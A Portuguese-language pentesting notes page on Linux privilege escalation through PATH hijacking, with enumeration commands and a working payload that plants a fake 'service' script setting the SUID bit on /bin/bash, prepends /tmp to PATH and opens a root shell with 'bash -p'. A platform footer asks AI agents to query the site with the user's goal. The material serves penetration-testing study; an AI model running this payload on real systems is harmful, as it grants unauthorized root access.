> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking.md).

# Sequestro de PATH

Anotações sobre escalação de privilégios por sequestro de PATH para chamadas de binários relativos, precedência de PATH gravável e substituição maliciosa de comandos.

O sequestro de PATH abusa de programas ou scripts privilegiados que chamam comandos sem caminhos absolutos. Se o atacante controla um diretório que aparece antes em `PATH`, o processo privilegiado pode executar o binário do atacante.

## Metodologia

* Identifique scripts ou binários privilegiados que chamam ferramentas pelo nome em vez do caminho completo.
* Confirme o ambiente de execução e os diretórios graváveis em `PATH`.
* Coloque um executável controlado com o nome esperado e acione o fluxo de trabalho privilegiado.

## Verificações rápidas

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Procure especificamente por programas privilegiados que chamam outros comandos sem caminhos absolutos:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Verifique se algum current `PATH` diretório é gravável:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Padrão mínimo de payload

Se um script privilegiado chama um comando por nome relativo, crie um executável com o mesmo nome em um diretório gravável e mova esse diretório para o início de `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Acione o script vulnerável ou espere o fluxo de trabalho privilegiado ser executado e, em seguida, valide:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH test.c</h4></td><td>Notas sobre sequestro de PATH (test.c) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação focada em relatórios.</td><td><a href="/pt-br/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md">Sequestro de PATH (test.c) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH com tar</h4></td><td>Notas sobre sequestro de PATH (tar) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação focada em relatórios.</td><td><a href="/pt-br/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md">Sequestro de PATH (tar) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH com gzip</h4></td><td>Notas sobre sequestro de PATH (gzip) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação focada em relatórios.</td><td><a href="/pt-br/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md">Sequestro de PATH (gzip) - Escalação de privilégios no Linux</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH cat</h4></td><td>Técnicas de sequestro de PATH para escalonamento de privilégios no Linux usando diretórios PATH graváveis e chamadas de comandos sem caminho qualificado.</td><td><a href="/pt-br/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation.md">Sequestro de PATH (cat) - Escalada de Privilégios no Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
